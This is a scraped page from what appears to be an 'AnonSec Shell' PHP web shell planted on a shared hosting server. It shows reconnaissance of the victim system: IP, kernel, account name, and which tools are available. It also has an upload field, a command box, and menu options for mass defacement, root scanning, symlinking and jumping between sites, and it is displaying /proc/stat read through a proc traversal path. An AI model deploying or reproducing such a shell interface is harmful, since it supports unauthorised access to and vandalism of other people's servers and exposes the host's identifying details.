AnonSec Shell
Server IP : 162.213.251.212  /  Your IP : 18.191.93.201   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux business55.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : allssztx ( 535)
PHP Version : 8.1.31
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/proc/thread-self/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/self/root/proc/thread-self/root/proc//stat
cpu  7239049196 93268348 2162040819 2139752454 692897821 189429624 245106221 745583486 0 0
cpu0 330268308 4244717 98260717 97452731 32067984 6897278 10995905 33459220 0 0
cpu1 330448387 4247918 98317279 97410740 32099917 6804855 10807604 33468047 0 0
cpu2 331067467 4259234 98378125 96900164 32033712 6815776 10725737 33339966 0 0
cpu3 330731296 4263346 98422351 97133772 32080526 6813106 10699837 33388618 0 0
cpu4 332238215 4272397 98144688 96854378 32147848 6808110 9649297 33283974 0 0
cpu5 332342962 4265810 98157236 96813315 32121903 6813652 9619423 33256434 0 0
cpu6 331975693 4261990 98253701 96954661 32182835 6814542 9627584 33296967 0 0
cpu7 332385555 4237086 98131910 96770874 32183584 6836355 9591714 33237842 0 0
cpu8 331069339 4253033 98426552 96908941 32045169 6818240 10640997 33305760 0 0
cpu9 328370259 4269342 98184410 98669607 32770619 6801153 10695752 33959763 0 0
cpu10 321326054 4181236 93698715 98004621 28775941 24890240 9095752 39318035 0 0
cpu11 316625756 4128983 101068231 99080499 30364015 8116448 18735628 36294624 0 0
cpu12 321483609 4149727 101374866 96935003 30428037 8255995 18004626 32540170 0 0
cpu13 331296270 4263118 98414089 97078004 31731625 6807765 10646496 33187853 0 0
cpu14 326801340 4227472 99450274 97147714 31165577 7358204 13492206 33704697 0 0
cpu15 329409911 4262189 99343471 96708040 31347944 7422059 11920352 32653483 0 0
cpu16 331009416 4248601 98613313 97112406 31734243 6952274 10633529 33110439 0 0
cpu17 331341854 4245384 98394558 97094736 31738195 6793452 10628659 33170608 0 0
cpu18 331529458 4238409 98383330 96931734 31718358 6799972 10635082 33164611 0 0
cpu19 331046821 4255318 98510910 97223055 31755725 6789275 10629900 33229744 0 0
cpu20 332674355 4254958 98147779 96962690 31829637 6768538 9573498 33125469 0 0
cpu21 323606859 4238068 93964302 97604758 28574421 24252325 8056633 38087150 0 0
intr 131707975888 210 9 0 0 353 0 0 0 0 0 0 0 210 0 5879206 0 0 0 0 0 0 0 0 0 0 0 0 390462208 423449538 0 1464836377 2830954424 0 2602010820 2581816779 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
ctxt 151424567407
btime 1733043156
processes 458267291
procs_running 55
procs_blocked 1
softirq 117002115285 1 2069456202 1910 1763754700 1040961083 0 644958688 2293617719 4944722 1810237860

Anon7 - 2022
AnonSec Team